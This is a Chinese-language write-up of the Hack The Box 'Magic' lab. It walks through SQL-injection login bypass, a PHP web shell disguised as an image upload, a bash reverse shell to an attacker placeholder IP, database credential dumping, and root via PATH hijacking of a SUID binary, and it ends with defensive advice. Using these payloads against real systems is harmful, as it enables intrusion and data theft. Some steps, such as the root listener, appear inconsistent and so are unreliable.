hack the box之magic靶场练习
字数 1280 2025-08-11 08:36:35
HackTheBox Magic靶场渗透测试教学文档
靶场概述
Magic靶场是一个综合性的渗透测试练习环境,涉及Web应用安全、数据库安全、权限提升等多个方面的知识点。本教学文档将详细解析渗透过程中的每个关键步骤和技术要点。
信息收集阶段
1. 端口扫描
使用工具(如nmap)进行端口扫描,发现开放了80端口:
nmap -sV -p- <target_ip>
2. Web服务枚举
访问80端口的Web服务,进行目录扫描:
dirb http://<target_ip>/
发现关键文件:
- login.php - 登录页面
- upload.php - 文件上传功能
Web应用渗透
3. SQL注入绕过认证
在login.php尝试使用万能密码绕过认证:
用户名:admin' or '1'='1'--
密码:任意
4. 文件上传漏洞利用
发现上传功能后,尝试以下方法:
- 直接上传.php文件 - 失败
- 修改后缀名 - 失败
- 00截断 - 失败
- 上传带恶意代码的图片文件 - 成功
关键技巧:服务器存在解析漏洞,会将.php.xxx文件解析为PHP执行
上传文件格式:
shell.php.jpg
文件内容包含PHP代码:
<?php system($_GET['cmd']); ?>
5. 获取Web Shell
访问上传的文件触发代码执行:
http://<target_ip>/uploads/shell.php.jpg?cmd=whoami
6. 反弹Shell
在攻击机上设置监听:
nc -lvnp 4444
通过Web Shell执行反弹命令:
bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'
权限提升阶段
7. 数据库凭证发现
在服务器上发现敏感文件:
/var/www/html/db.php5
包含数据库凭据:
用户名:theseus
密码:iamkingtheseus
8. 数据库信息提取
由于目标机器没有mysql客户端,但存在mysqldump,使用以下命令提取数据:
mysqldump -u theseus -piamkingtheseus --all-databases > dump.sql
或直接查看特定数据库:
mysqldump -u theseus -piamkingtheseus magic users
发现第二组凭据:
用户名:admin
密码:Th3s3usW4sK1ng
9. 用户切换
使用发现的凭据切换用户:
su admin
密码:Th3s3usW4sK1ng
10. 权限提升分析
检查sudo权限:
sudo -l
查找SUID文件:
find / -perm -4000 -type f 2>/dev/null
发现可疑的sysinfo程序
11. 分析sysinfo程序
查看sysinfo内容:
cat /usr/bin/sysinfo
发现程序调用了多个系统命令(如fdisk、cat等)
12. PATH劫持提权
步骤:
- 创建恶意cat程序:
#!/bin/bash
bash -p
- 编译并上传到目标机器
- 修改PATH环境变量:
export PATH=/tmp:$PATH
- 执行sysinfo程序触发恶意cat
13. 获取root权限
在攻击机上设置监听:
nc -lvnp 4567
执行sysinfo后,将获得root权限的shell
后渗透阶段
14. 获取flag
由于cat被修改,使用strings查看flag:
strings /root/root.txt
技术要点总结
- SQL注入:使用万能密码绕过认证
- 文件上传绕过:
- 利用解析漏洞(.php.xxx被解析为PHP)
- 图片马制作与上传
- 数据库信息提取:
- 当mysql不可用时,使用mysqldump提取数据
- 权限提升技术:
- SUID程序滥用
- PATH环境变量劫持
- 替换系统调用的二进制文件
- 后渗透技巧:
- 当标准命令被修改时,使用替代方法(如strings)查看文件内容
防御建议
- 对用户输入进行严格过滤,防止SQL注入
- 文件上传功能应:
- 验证文件内容而不仅是扩展名
- 禁用危险的文件类型
- 将上传文件存储在非Web可访问目录
- 数据库安全:
- 使用最小权限原则
- 避免在Web目录存储凭据
- 系统安全:
- 定期审计SUID/SGID文件
- 限制关键目录的写入权限
- 使用完整路径调用系统命令
通过本靶场的练习,可以全面掌握从Web渗透到系统提权的完整攻击链,以及相应的防御措施。